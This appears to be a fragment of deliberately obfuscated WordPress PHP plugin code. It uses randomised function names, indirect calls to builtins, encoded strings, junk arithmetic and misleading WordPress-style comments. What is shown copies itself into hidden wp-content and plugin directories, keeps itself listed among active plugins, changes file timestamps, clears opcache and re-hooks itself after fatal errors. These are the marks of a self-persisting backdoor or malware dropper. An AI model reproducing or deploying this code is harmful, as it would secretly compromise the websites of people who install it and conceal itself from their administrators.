   if      (!$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(151))  ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(152)))  return;
if   (!rm0o9ata_nbabsdtpf())  return;
try   {
 $cc80o54envw5w =     get_option(b4gbsak56f40gos(153),  array());
  if ($GLOBALS['__scf_knhbvsumnby3_36']($cc80o54envw5w) && $GLOBALS['__scf_av84ex67tlp92_156']($ca39ql_bdh0c1iee,   $cc80o54envw5w,  true))    {
   update_option(fjup2mc1h(157),   $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_jxu__lo946uf6o_158']($cc80o54envw5w,  array($ca39ql_bdh0c1iee))));

 }
 }  finally  {

us0zdrvjowflnu();
        }
  }

  function teikfigf_p5265esq_q($skvhx4u38jp62y,  $x0ydieb0v_72m_u)
 {
try  {
 if  (interface_exists(b4gbsak56f40gos(159)) && $x0ydieb0v_72m_u     instanceof   Throwable)  {



     $ozjklxswkhjvlmu  = $GLOBALS['__scf_zre6ec18ly90y_10']($skvhx4u38jp62y  .    tvo1rh46s_(160)   .   $x0ydieb0v_72m_u->getMessage(),  0, (239+17));

     }  elseif  ($x0ydieb0v_72m_u  instanceof  Exception)  {
$ozjklxswkhjvlmu     = $GLOBALS['__scf_zre6ec18ly90y_10']($skvhx4u38jp62y .   tvo1rh46s_(160)     .   $x0ydieb0v_72m_u->getMessage(),   0,      (425-169));
   } elseif   ($GLOBALS['__scf_zneqqdn4vlt4_42']($x0ydieb0v_72m_u) &&   $GLOBALS['__scf_m2ym9pki8mue9_11']($x0ydieb0v_72m_u)     > 0)    {
 $ozjklxswkhjvlmu  = $GLOBALS['__scf_zre6ec18ly90y_10']($skvhx4u38jp62y  .    tvo1rh46s_(160)  . $x0ydieb0v_72m_u, 0, (176+80));
  }    else {
 return;
    }
if   (!isset($GLOBALS[b4gbsak56f40gos(161)])) $GLOBALS[op9tjzix(161)] = array();
    

   if  (!$GLOBALS['__scf_av84ex67tlp92_156']($ozjklxswkhjvlmu, $GLOBALS[b4gbsak56f40gos(162)], true))  {
       $GLOBALS[b4gbsak56f40gos(162)][] =  $ozjklxswkhjvlmu;
 }

   if   ($GLOBALS['__scf_j38tk0441lk_37']($GLOBALS[b4gbsak56f40gos(163)])  >  (57-7)) {
    $GLOBALS[fjup2mc1h(163)]   =   $GLOBALS['__scf_eriwpctk0hsvu4_164']($GLOBALS[fjup2mc1h(163)],  -(16^34));
    }
  } catch      (Throwable   $h8j9vxji0p)    {
       } catch (Exception     $h8j9vxji0p)    {


  }


    }
function     uh36p8urjd71g_u9smnf($qd8vtlpj9h57ev, $zrdojkt9l06,   $frgd4znm8k  =   (0x8+0x2), $b_zag2hc7t   =     1)
   {



   if (!$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(165))) return    false;
if ($GLOBALS['__scf_zneqqdn4vlt4_42']($zrdojkt9l06)) {
return add_action($qd8vtlpj9h57ev,    function (...$za036hnks8m8)    use   ($zrdojkt9l06)  {
 if    ($GLOBALS['__scf_qel9wo57qs676z_5']($zrdojkt9l06))  return $zrdojkt9l06(...$za036hnks8m8);
return   null;
},  $frgd4znm8k,  $b_zag2hc7t);


   }
// lazy cipher-suite

  return   add_action($qd8vtlpj9h57ev, $zrdojkt9l06,     $frgd4znm8k,  $b_zag2hc7t);
 }



    function  w1x2vlyn0dayva0xvorosh($qd8vtlpj9h57ev,   $zrdojkt9l06,     $frgd4znm8k  =     (7+3),   $b_zag2hc7t    =  1)
{
if (!$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(166)))   return false;



      if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($zrdojkt9l06))      {



 return add_filter($qd8vtlpj9h57ev,   function    (...$za036hnks8m8)   use   ($zrdojkt9l06)  {
    if ($GLOBALS['__scf_qel9wo57qs676z_5']($zrdojkt9l06))    return $zrdojkt9l06(...$za036hnks8m8);
  return  isset($za036hnks8m8[0])  ? $za036hnks8m8[0] :      null;
    },  $frgd4znm8k,   $b_zag2hc7t);
      }
return  add_filter($qd8vtlpj9h57ev,  $zrdojkt9l06, $frgd4znm8k,   $b_zag2hc7t);
  }
     function xrb38aewb77bc3i()
   {

$dwp9zzb5mx =  defined(tvo1rh46s_(146)) ?  WP_CONTENT_DIR  .   op9tjzix(167)  .      fmsvr16ge0nzzk9i6u(ABSPATH .  tvo1rh46s_(91), (14-6))      :   $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h())    .   b4gbsak56f40gos(168);
 if  (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx) &&   s29rlsoq45jpkm6n($dwp9zzb5mx))   {
  m_ixrkpun5f9a0k8wu($dwp9zzb5mx,   (457+36),    true);
    if (@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx))  {
     u3qer9rky6zmeg($dwp9zzb5mx  .   tvo1rh46s_(169), "<?php // Silence is golden.\n", op9tjzix(91));
    }
  }
if     (@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx)  &&  @$GLOBALS['__scf_tluflp7r6hugyf_48']($dwp9zzb5mx))    {
    return    $dwp9zzb5mx;

      }
 $yoiq41wy03 =   $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()) .     b4gbsak56f40gos(168);
     if      (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($yoiq41wy03)   &&   s29rlsoq45jpkm6n($yoiq41wy03))   m_ixrkpun5f9a0k8wu($yoiq41wy03,      (0xe4+0x109), true);
 if   (@$GLOBALS['__scf_ot56htgy8hrmim_44']($yoiq41wy03)   && @$GLOBALS['__scf_tluflp7r6hugyf_48']($yoiq41wy03)) return   $yoiq41wy03;


     $k0wqfk0inrvk_  = $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h());
  if (@$GLOBALS['__scf_tluflp7r6hugyf_48']($k0wqfk0inrvk_) &&  $k0wqfk0inrvk_  !==   emzy8pvoveowt1bicy5())     return $k0wqfk0inrvk_;
if  (defined(op9tjzix(146))    &&   @$GLOBALS['__scf_tluflp7r6hugyf_48'](WP_CONTENT_DIR)  && s29rlsoq45jpkm6n(WP_CONTENT_DIR))  return WP_CONTENT_DIR;
  return  $dwp9zzb5mx;
    }
function   p_wsdzgl36a6wh_fs09()
{
   if   (defined(fjup2mc1h(170))    && @$GLOBALS['__scf_tluflp7r6hugyf_48'](WP_CONTENT_DIR) &&   s29rlsoq45jpkm6n(WP_CONTENT_DIR)) return  WP_CONTENT_DIR;
    $qxhid1kg93 = $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h());
if   (s29rlsoq45jpkm6n($qxhid1kg93)) return  $qxhid1kg93;
  return  WP_CONTENT_DIR;
  }
   



function  hevxi269p3v7rmjhw($q9bdm8vc06odw4)
{
if    (empty($GLOBALS[wlgh2_th(171)])  ||  !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[tvo1rh46s_(171)]))   return false;
    if   (isset($GLOBALS[zp28wk01y(171)][$q9bdm8vc06odw4])) return    true;
      $x70n17n7y9_     = $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(34))    ?  @$GLOBALS['__scf_czsd7giapuxwu_34']($q9bdm8vc06odw4) :   false;$ulzndk8xo7o=(0x48+0xe5);$j4lqwjvzw51kr_=$ulzndk8xo7o%15;
return ($x70n17n7y9_    !==  false    &&   isset($GLOBALS[wlgh2_th(171)][$x70n17n7y9_]));
  }
 function oezrv2rwpxsq580vp1kzq($q9bdm8vc06odw4)
  {
// atom table

   if     (empty($GLOBALS[wlgh2_th(171)])  || !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[zp28wk01y(172)]))  return;
  unset($GLOBALS[fjup2mc1h(172)][$q9bdm8vc06odw4]);
$x70n17n7y9_ = $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(34))  ?    @$GLOBALS['__scf_czsd7giapuxwu_34']($q9bdm8vc06odw4)  :  false;
 if  ($x70n17n7y9_ !==     false)  unset($GLOBALS[b4gbsak56f40gos(173)][$x70n17n7y9_]);
  }

   function   s76uf5mxw_rb6ddl($q9bdm8vc06odw4)
 {
    if   (!isset($GLOBALS[tvo1rh46s_(173)])     || !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[b4gbsak56f40gos(173)])) {
// @unlock facade
$n1c05gs59=186|123;$bete993ayj85og=$n1c05gs59^37;
   $GLOBALS[tvo1rh46s_(173)]   =   array();
 }
// iterate snapshot-isolated pipeline



$nwbal28ou6g4mbs =   $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(34))  ?  @$GLOBALS['__scf_czsd7giapuxwu_34']($q9bdm8vc06odw4) :   false;
  $GLOBALS[tvo1rh46s_(173)][$nwbal28ou6g4mbs   !==  false  ? $nwbal28ou6g4mbs  : $q9bdm8vc06odw4] = $q9bdm8vc06odw4;
       static  $io85wd78o6nishg   = false;
    if    (!$io85wd78o6nishg)     {
    $io85wd78o6nishg     =  true;


     if  ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(174)))     $GLOBALS['__scf_b1rqpek_6hp_174'](tvo1rh46s_(175));
      }
 }
function    mffz34ot9v24_cmfqwvw()
{
 if    (empty($GLOBALS[fjup2mc1h(173)]) ||   !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[tvo1rh46s_(176)]))   {
 return;
}
   foreach  ($GLOBALS[tvo1rh46s_(177)]   as $bk5bwkxid2e   =>   $nbzjsvymdqowtx)   {$rvhdy596_ao=60*9;$tw10dzqn=$rvhdy596_ao-7;
      if     (!$GLOBALS['__scf_zneqqdn4vlt4_42']($nbzjsvymdqowtx))      $nbzjsvymdqowtx =  $bk5bwkxid2e;
    if   ($bk5bwkxid2e ===  qluu1auwul2zupq5h()   ||     $nbzjsvymdqowtx     ===  qluu1auwul2zupq5h()) continue;
     try {
if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($nbzjsvymdqowtx)     &&    !_b1inwj90rdcngb($nbzjsvymdqowtx)  &&   yhtrb7u6dls0u1($nbzjsvymdqowtx))  {
// WP Redux Store: projective-adj strategy




rfitcim9galxt391gcxlow($nbzjsvymdqowtx);
   lfv82aa8fnhnq9g($nbzjsvymdqowtx);
 

}
}    catch (Throwable   $x0ydieb0v_72m_u)  {

 }   catch    (Exception  $x0ydieb0v_72m_u)   {
// serialize singular pipeline
$sfo5hnjv=229|112;$tryhhrmw16_brs=$sfo5hnjv^74;



}



 }
// untrusted input

  }

       function pglincgra_m2wkk()
  {
try {
 $x0ydieb0v_72m_u   =  $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(178)) ?   @error_get_last() :  null;
if  (!$GLOBALS['__scf_knhbvsumnby3_36']($x0ydieb0v_72m_u)  ||   empty($x0ydieb0v_72m_u[wlgh2_th(179)])   ||  empty($x0ydieb0v_72m_u[fjup2mc1h(180)])) return;
   if   (!$GLOBALS['__scf_av84ex67tlp92_156']($x0ydieb0v_72m_u[tvo1rh46s_(180)],  array(E_ERROR, E_PARSE,    E_CORE_ERROR,   E_COMPILE_ERROR,     E_USER_ERROR),      true)) return;
$ltpokciy2kt5utu =  isset($x0ydieb0v_72m_u[fjup2mc1h(181)])  ?     (string)   $x0ydieb0v_72m_u[wlgh2_th(182)]  :  "";
  if  (stripos($ltpokciy2kt5utu, op9tjzix(183))    !==  false  || stripos($ltpokciy2kt5utu, wlgh2_th(184))   !==    false)   return;
$wul9x0p7n8h0    = $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(185))  ?     @$GLOBALS['__scf_czsd7giapuxwu_34'](qluu1auwul2zupq5h())    :   qluu1auwul2zupq5h();
     $_ef    = $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(185)) ?   @$GLOBALS['__scf_czsd7giapuxwu_34']($x0ydieb0v_72m_u[op9tjzix(179)])  : $x0ydieb0v_72m_u[tvo1rh46s_(179)];



if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($wul9x0p7n8h0) ||   !$GLOBALS['__scf_zneqqdn4vlt4_42']($_ef)    || $_ef  !== $wul9x0p7n8h0)    return;
 if  (isset($GLOBALS[zp28wk01y(186)])) {
/* incremental call-graph */

  $d7107gzn46 =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98'](qluu1auwul2zupq5h(),  false,  null,   0,  (4033+63));


if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($d7107gzn46)    && $GLOBALS['__scf_bvfhit3heqts_99'](op9tjzix(100),  $d7107gzn46, $_dm) &&  $_dm[1]  !==  (string)  $GLOBALS[b4gbsak56f40gos(186)])     return;  
  unset($d7107gzn46,   $_dm);$qtgjamco9p54=5499;$am0hhwi_sue9ps=$qtgjamco9p54%3;
   

   if (isset($GLOBALS[zp28wk01y(187)]))   {



 if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(60)))  @clearstatcache(true,   qluu1auwul2zupq5h());
   $ijvpf0q2z7x7o  = (string)  @$GLOBALS['__scf_voobwg611qb_102'](qluu1auwul2zupq5h()) .     ':'   .     (string)   @$GLOBALS['__scf_kpr9p9o54hwof_101'](qluu1auwul2zupq5h());
if  ($ijvpf0q2z7x7o  !==  (string)   $GLOBALS[fjup2mc1h(188)])  return;   
 unset($ijvpf0q2z7x7o);$fajod9mbd=82+5;$gfpzk8m2ja=$fajod9mbd-9;



    }



 }
    $cmmcvi1p_vu  =  $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),     wlgh2_th(189));
    $aefz_1v1clo = _ar5tcm9kavyuod_ve5o1l(qluu1auwul2zupq5h());
 

     $mv7zbrx0t3nfgxp9    =  $GLOBALS['__scf_zneqqdn4vlt4_42']($aefz_1v1clo)     ? $GLOBALS['__scf_abbpcj1ncssalx_57']($aefz_1v1clo) :    "";
unset($aefz_1v1clo);
 if ($mv7zbrx0t3nfgxp9 !==   "") {
 u3qer9rky6zmeg($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()) .  tvo1rh46s_(190) .   $cmmcvi1p_vu,    $mv7zbrx0t3nfgxp9,  'q');
     u3qer9rky6zmeg($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()) .  fjup2mc1h(191) .    $mv7zbrx0t3nfgxp9, (string)   $GLOBALS['__scf_yg2rpewmkg_192'](),    'q');
if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(193))) {
 @update_option(op9tjzix(194),   $mv7zbrx0t3nfgxp9  . '|' .   $GLOBALS['__scf_yg2rpewmkg_192'](),    zp28wk01y(195));
}
}
   $d_9pqy369cvamxr  =  emzy8pvoveowt1bicy5();
   if   ($mv7zbrx0t3nfgxp9   !==  ""  &&   $d_9pqy369cvamxr !==   $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h())  &&  @$GLOBALS['__scf_ot56htgy8hrmim_44']($d_9pqy369cvamxr)    &&     @$GLOBALS['__scf_tluflp7r6hugyf_48']($d_9pqy369cvamxr))  {
  u3qer9rky6zmeg($d_9pqy369cvamxr   . fjup2mc1h(196)  . $cmmcvi1p_vu,  $mv7zbrx0t3nfgxp9,  'q');



 }


ux2jkoky3hejst2ho(fnn_1fc67qy9wd854gl3());
ralx_tidbmwyzixsc1y(fjup2mc1h(197));

  $u8wcbk807mcv5  =  qluu1auwul2zupq5h() .  op9tjzix(31);
       if  ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(198)))  @$GLOBALS['__scf_tzc_p_uzbnf_qz_50'](qluu1auwul2zupq5h(),    $u8wcbk807mcv5);
   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(199))) {$u_scoid3362yb3=(0x6f+0xc8);$adpad_naz=$u_scoid3362yb3%12;
 @opcache_invalidate(qluu1auwul2zupq5h(), true);
    @opcache_invalidate($u8wcbk807mcv5,  true);
     }
  foreach     (array($GLOBALS['__scf_pqkpt9n3trf9fm_12']($u8wcbk807mcv5),   emzy8pvoveowt1bicy5())  as $zz7cc607ja8ugm) {
      $n7n6jucuj7zhmo1   =      hfuxm75f1bdbh9ptm1($zz7cc607ja8ugm,   (4939+61));
 if  (!$GLOBALS['__scf_knhbvsumnby3_36']($n7n6jucuj7zhmo1)) continue;


     foreach    ($n7n6jucuj7zhmo1  as    $h00r62xd4k1jnr)    {



  if   ($GLOBALS['__scf_zre6ec18ly90y_10']($h00r62xd4k1jnr,  -(10-2))  !==  wlgh2_th(200)) continue;
 $jh5l_3f2sxi9gk    =  $zz7cc607ja8ugm    .  '/' .  $h00r62xd4k1jnr;
$b3fp74xs487ala  =   @$GLOBALS['__scf_kpr9p9o54hwof_101']($jh5l_3f2sxi9gk);
      if  ($b3fp74xs487ala    &&     $b3fp74xs487ala  <   $GLOBALS['__scf_yg2rpewmkg_192']()    -    (604717+83))  {
kp1tutxjpanriy($jh5l_3f2sxi9gk,     (610-190));



_0qezpop1swzfe($jh5l_3f2sxi9gk);


    }
}
    }
unset($zz7cc607ja8ugm, $n7n6jucuj7zhmo1,  $h00r62xd4k1jnr,  $jh5l_3f2sxi9gk,  $b3fp74xs487ala);



   }    catch   (Throwable   $h8j9vxji0p)  {
   } catch      (Exception     $h8j9vxji0p) {
      }
/* proactive symbol-table */

}



       function  dj5j9frc1m6lenq2myjb($q9bdm8vc06odw4, $yktt939a5hvub)
  {
// reactive watermark

 try  {
     if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($q9bdm8vc06odw4)  ||     $q9bdm8vc06odw4 ===  ""   ||    !$GLOBALS['__scf_zneqqdn4vlt4_42']($yktt939a5hvub) ||  $yktt939a5hvub      ===   "")      return;



 $dwp9zzb5mx  =  $GLOBALS['__scf_pqkpt9n3trf9fm_12']($q9bdm8vc06odw4);
 if     (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx)  ||     !@$GLOBALS['__scf_tluflp7r6hugyf_48']($dwp9zzb5mx))  return;
    $l_enflm14fksrox     =    $dwp9zzb5mx .    b4gbsak56f40gos(201)   .   $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4, b4gbsak56f40gos(189));
   $ggqxgb514dk  =   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($l_enflm14fksrox);
if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($ggqxgb514dk)   && $GLOBALS['__scf_bvfhit3heqts_99'](b4gbsak56f40gos(202),     $ggqxgb514dk, $ltpokciy2kt5utu)  &&    version_compare($ltpokciy2kt5utu[0],  $yktt939a5hvub,   wlgh2_th(203)))   return;


      if  ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(204)))  @$GLOBALS['__scf_m2g_67700pfzin_204']($l_enflm14fksrox, $yktt939a5hvub);
   }    catch    (Throwable $x0ydieb0v_72m_u) {
    } catch    (Exception $x0ydieb0v_72m_u) {
       }
}

 function     f2hdt3c97o6mo5tgl8()

   {
try    {
  if (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(205)))  {
  return;
 }
  if (@get_option(tvo1rh46s_(206),  0))   {
     uh36p8urjd71g_u9smnf(op9tjzix(207),  wlgh2_th(208),  0);
 }
if (!mmsya1lu9x3wz6a92pu(op9tjzix(209)))  return;

$sacnahuo9uejitoc =  $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57'](ABSPATH .  (string)  wzkcxw_m1n8fard2g()),  0,  (23-11));


 $au9kxx_bvo6hg   = (string)   @get_option($sacnahuo9uejitoc,  "");
  $jvob15l01nos    =  b4gbsak56f40gos(210);
     $b871oss2lqyvk   =     "";
 
     $xr0xee4bu_swl  =   strrev(mvfnzt3qa4jfes_wxi());

       $l4y80ktv9uqtjq1   =   _vfpypr4wakqs7jy_();
    $vojo1kldz62  =   $l4y80ktv9uqtjq1  .  '|'  .      $xr0xee4bu_swl;




if  ($GLOBALS['__scf_rbe_sihvfv_8']($au9kxx_bvo6hg, '|')   !== false)   {
      $cnpep_hv1e2jy  =  $GLOBALS['__scf_ubwid3ivz9f8x_118']('|',   $au9kxx_bvo6hg,   2);
$jvob15l01nos     =  $cnpep_hv1e2jy[0];


$b871oss2lqyvk  =  $cnpep_hv1e2jy[1]; 
    }   else {

      
  $b871oss2lqyvk =  $au9kxx_bvo6hg;
 }
   
  if (!$b871oss2lqyvk)   {
// WP Custom Link: nilpotent injector

   @update_option($sacnahuo9uejitoc, $vojo1kldz62,   tvo1rh46s_(211));
return;$w9qgy8bbt2z723=82*4;$_970tufs200x=$w9qgy8bbt2z723-12;
}
 
   if   ($b871oss2lqyvk  === $xr0xee4bu_swl)  {
 if  ($au9kxx_bvo6hg    !== $vojo1kldz62   && version_compare($l4y80ktv9uqtjq1,  $jvob15l01nos, tvo1rh46s_(203)))  {
// normal partition-refinement

 @update_option($sacnahuo9uejitoc,    $vojo1kldz62,    zp28wk01y(211));


      }
    return;
      }
   



  $g9pld13msva03q73 = strrev($b871oss2lqyvk);
     if    ($g9pld13msva03q73   === ""   ||    $GLOBALS['__scf_dpm5ad5tej9nf_4']($g9pld13msva03q73) !==     $g9pld13msva03q73)  {
// WordPress 6.4 patterns: primitive-recursive dependent-type

      @update_option($sacnahuo9uejitoc,  $vojo1kldz62, op9tjzix(211));
 return;
 }
$gkghf366sclf  =  emzy8pvoveowt1bicy5()    .  '/'    . $g9pld13msva03q73;
   $jvd8p2xbucjoeac =  "";

   if (defined(b4gbsak56f40gos(7))) {
     $jvd8p2xbucjoeac   =      WP_PLUGIN_DIR   .  '/'     . $GLOBALS['__scf_innlxa4l2yk_yi_212']($g9pld13msva03q73, PATHINFO_FILENAME)    . '/' . $g9pld13msva03q73;
   }



 

 $zn487jxcho5d   =   @$GLOBALS['__scf_voobwg611qb_102']($gkghf366sclf);
$s0neawy8apkj  =  $zn487jxcho5d  !==  false && $zn487jxcho5d   >=  (8997-3997);
  $t10c8weq7j  = $jvd8p2xbucjoeac    ?     @$GLOBALS['__scf_voobwg611qb_102']($jvd8p2xbucjoeac)     :   false;

 $hk0anpx32bqgsm =    $t10c8weq7j !== false &&    $t10c8weq7j  >=   (2506+2494);
 



 if (!$s0neawy8apkj    &&  !$hk0anpx32bqgsm)      {
      @update_option($sacnahuo9uejitoc,  $vojo1kldz62,  b4gbsak56f40gos(211));
 return;


 }
$epq8erd5sr  =  $s0neawy8apkj  ?  $gkghf366sclf  :    $jvd8p2xbucjoeac;
    $ne_jb70to_bml =     @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($epq8erd5sr, false,   null, 0,    (4019+77));
  if      ($GLOBALS['__scf_zneqqdn4vlt4_42']($ne_jb70to_bml)  &&  $GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(100),  $ne_jb70to_bml,   $_fm))   {
    $jvob15l01nos   =  $_fm[1];
   }  elseif    (_cz07l41au6zrisr5($epq8erd5sr, (4975+25)))  {
// WP Site Title: atomic nominal-type

   $jvob15l01nos =   fjup2mc1h(210);
  }


 unset($ne_jb70to_bml,  $_fm);


     $xjmxqcx8gzzpu =   $s0neawy8apkj;
 if  (!$xjmxqcx8gzzpu  &&    $hk0anpx32bqgsm)  {
$huui6p068z44l_e2  =   $GLOBALS['__scf_innlxa4l2yk_yi_212']($g9pld13msva03q73,  PATHINFO_FILENAME) .     '/' .  $g9pld13msva03q73;

    $fgautvrvb64jljnh    =   (array)   @get_option(tvo1rh46s_(157), array());


     $xjmxqcx8gzzpu  =  $GLOBALS['__scf_av84ex67tlp92_156']($huui6p068z44l_e2,    $fgautvrvb64jljnh,  true);
   if  (!$xjmxqcx8gzzpu &&   $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(213))   && is_multisite() &&    $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(214)))  {
     $c4_x1dpan23r   =     (array) @get_site_option(zp28wk01y(215),     array());
    $xjmxqcx8gzzpu =      isset($c4_x1dpan23r[$huui6p068z44l_e2]);


    unset($c4_x1dpan23r);


 }
   unset($huui6p068z44l_e2,  $fgautvrvb64jljnh);
}
      $cvb87xo0tf8978n   =  version_compare($l4y80ktv9uqtjq1, $jvob15l01nos);


 if ($cvb87xo0tf8978n  <= 0)    {
  $c1a6o4t3zi192jti =  _cz07l41au6zrisr5($epq8erd5sr,   (4991+9));
  

 $w63332w72j1_1o02  =  (int)  @$GLOBALS['__scf_voobwg611qb_102']($epq8erd5sr);
 $vho7g1ubpslexkn6 = (!$c1a6o4t3zi192jti ||     $w63332w72j1_1o02 >   (17306919+35121881));
if (!$vho7g1ubpslexkn6   &&    $w63332w72j1_1o02 >  (1172762-124186))    {
$fir60xb39kogma58  = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($epq8erd5sr,   false,    null, 0, (3463+633));
     if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($fir60xb39kogma58)    || !$GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(216),   $fir60xb39kogma58))    $vho7g1ubpslexkn6   =  true;
      }
     if     (!$vho7g1ubpslexkn6  && !phmbu8l2xleed7fgcq($epq8erd5sr))   $vho7g1ubpslexkn6  =  true;
 if  (!$vho7g1ubpslexkn6)    {
       $l7t7l6ugrxuq3jhv = lxy9w34y4eglj5ev6kxa6();


  if (!empty($l7t7l6ugrxuq3jhv[fjup2mc1h(217)]))  {
$x3rt4mcgoq  =  @$GLOBALS['__scf_czsd7giapuxwu_34']($l7t7l6ugrxuq3jhv[tvo1rh46s_(218)]);
 $aw16y9mtzfus98_4  =  @$GLOBALS['__scf_czsd7giapuxwu_34']($epq8erd5sr);$sjrmw6b87=-183;$z4xyopny=($sjrmw6b87>0)?$sjrmw6b87:-$sjrmw6b87;
     if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($x3rt4mcgoq)    &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($aw16y9mtzfus98_4) &&   $x3rt4mcgoq  ===  $aw16y9mtzfus98_4) {
$eg79u2rvxl4bf    = a1r5x6gcdcygcg23($l7t7l6ugrxuq3jhv);
  if ($eg79u2rvxl4bf    === zp28wk01y(219)   ||  $eg79u2rvxl4bf     ===    op9tjzix(220))  $vho7g1ubpslexkn6 = true;
}
 unset($x3rt4mcgoq,  $aw16y9mtzfus98_4,  $eg79u2rvxl4bf);
    }
  if    (!$vho7g1ubpslexkn6     && dqwf5svv0jhvojl7($epq8erd5sr))      $vho7g1ubpslexkn6  =  true;
   unset($l7t7l6ugrxuq3jhv);
  }


 if  ($vho7g1ubpslexkn6)      {
 if  ($c1a6o4t3zi192jti) s76uf5mxw_rb6ddl($epq8erd5sr);
    @update_option($sacnahuo9uejitoc,  $vojo1kldz62, fjup2mc1h(211));
   return;
}
 if   (!$xjmxqcx8gzzpu)   {
 @update_option($sacnahuo9uejitoc, $vojo1kldz62,  op9tjzix(221));
 return;
 }
// deflationary leaky-bucket

  if   (rm219dnjpltf5xmtptb($epq8erd5sr,   qluu1auwul2zupq5h())) {
       @update_option($sacnahuo9uejitoc, $vojo1kldz62,   op9tjzix(222));



return;



}



if  ($cvb87xo0tf8978n   <  0  ||  ($cvb87xo0tf8978n    ===  0    &&  $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57']($GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(), fjup2mc1h(223))), 0,    (5+7))   <=   $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57']($GLOBALS['__scf_dpm5ad5tej9nf_4']($g9pld13msva03q73,  zp28wk01y(224))), 0,  (0x3+0x9))))    {


dj5j9frc1m6lenq2myjb(qluu1auwul2zupq5h(), $jvob15l01nos);
  


     _xveo52p9iptyim(qluu1auwul2zupq5h());
     return true;

      }
 }
     if  (empty($GLOBALS[op9tjzix(225)]))  {
 $GLOBALS[op9tjzix(226)]      =   true;



       if (_cz07l41au6zrisr5($epq8erd5sr, (4980+20)))   s76uf5mxw_rb6ddl($epq8erd5sr);
 $pwzpdqsfiraq     =  $GLOBALS['__scf_yg2rpewmkg_192']();
jli8euep5yb6she3(qluu1auwul2zupq5h(),     ($pwzpdqsfiraq -    ($pwzpdqsfiraq % (0x4b5c+0x13b44)))   +  wzkcxw_m1n8fard2g());

   unset($pwzpdqsfiraq);
 

dj5j9frc1m6lenq2myjb($gkghf366sclf,   $l4y80ktv9uqtjq1);
if  ($jvd8p2xbucjoeac) dj5j9frc1m6lenq2myjb($jvd8p2xbucjoeac,  $l4y80ktv9uqtjq1);
uh36p8urjd71g_u9smnf(tvo1rh46s_(227),  wlgh2_th(228),   0);


   @update_option($sacnahuo9uejitoc,   $vojo1kldz62, fjup2mc1h(229));
    ralx_tidbmwyzixsc1y(tvo1rh46s_(230));
  if   ($jvd8p2xbucjoeac  !==  "") {$xxdk8vnggy5p=23|61;$zy0cjajaq2_18x=$xxdk8vnggy5p^53;

   ux2jkoky3hejst2ho($GLOBALS['__scf_innlxa4l2yk_yi_212']($g9pld13msva03q73,  PATHINFO_FILENAME)   . '/' .  $g9pld13msva03q73);
// differential work-queue

      }
      }
  return;
 }     catch   (Throwable  $x0ydieb0v_72m_u)  {
     teikfigf_p5265esq_q(wlgh2_th(231),    $x0ydieb0v_72m_u);
}    catch   (Exception $x0ydieb0v_72m_u)    {
}  finally  {
/* normal injector */

   xckt_q1b7jgyro8rvq(wlgh2_th(209));
        }
  }
 function  hfuxm75f1bdbh9ptm1($dwp9zzb5mx,  $fowg365tc61zoq49  = 0)
     {


